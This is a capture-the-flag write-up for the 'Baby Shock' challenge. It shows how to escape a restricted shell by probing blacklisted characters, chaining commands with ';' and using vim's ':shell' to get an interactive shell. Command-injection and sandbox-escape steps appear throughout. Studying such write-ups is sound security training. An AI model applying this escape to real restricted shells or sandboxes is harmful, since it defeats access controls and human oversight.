Rating: 5.0

# Baby Shock
_Category: misc_

## Description
> nc 54.248.135.16 1986

## Short Solution
sh
id ;vim
exit
:shell


## Solution

When we connect to the server, we are running in a restricted shell, with very few commands available to us:
sh
connected!
welcome to Baby shock, doo, doo, doo, doo, doo, doo!!!
> help
> Available Commands:
pwd ls mkdir netstat sort printf exit help id mount df du find history touch
> vim
> bad command: vim


We can tell that some characters have been blacklisted by using them with a comment, e.g.:
sh
> id # foo
> uid=1128 gid=2020
id # -
> bad command: id # -


From this we can determine that attacking the programs we are allowed to access directly is not likely to be fruitful, as all of those programs listed will require at least a <kbd>-</kbd> character to be exploited.

Instead, attempting to attack the shell itself, it doesn't take long to see that a <kbd>;</kbd> is allowed:
sh
> id # ;
> uid=1128 gid=2020


This allows us to run commands outside of the restricted shell:
sh
> id ; hostname
> uid=1128 gid=2020
ip-172-31-11-96


Now we just need to find a program that will let us execute commands. This is slightly complicated due to the way input handling is within the restricted shell. As a result, attempting to run bash directly does not produce the desired results:
sh
> id ; bash
> uid=1128 gid=2020
whoami
> bad command: whoami


Instead of attempting to understand these issues, we simply used vim to launch a fully interactive shell. It still required a little coaxing, but by typing the solution from the beginning of the writeup in the correct order, we get a fully interactive shell:
sh
> id ; vim
> uid=1128 gid=2020 groups=2020
Vim: Warning: Output is not to a terminal
Vim: Warning: Input is not from a terminal
exit
:shell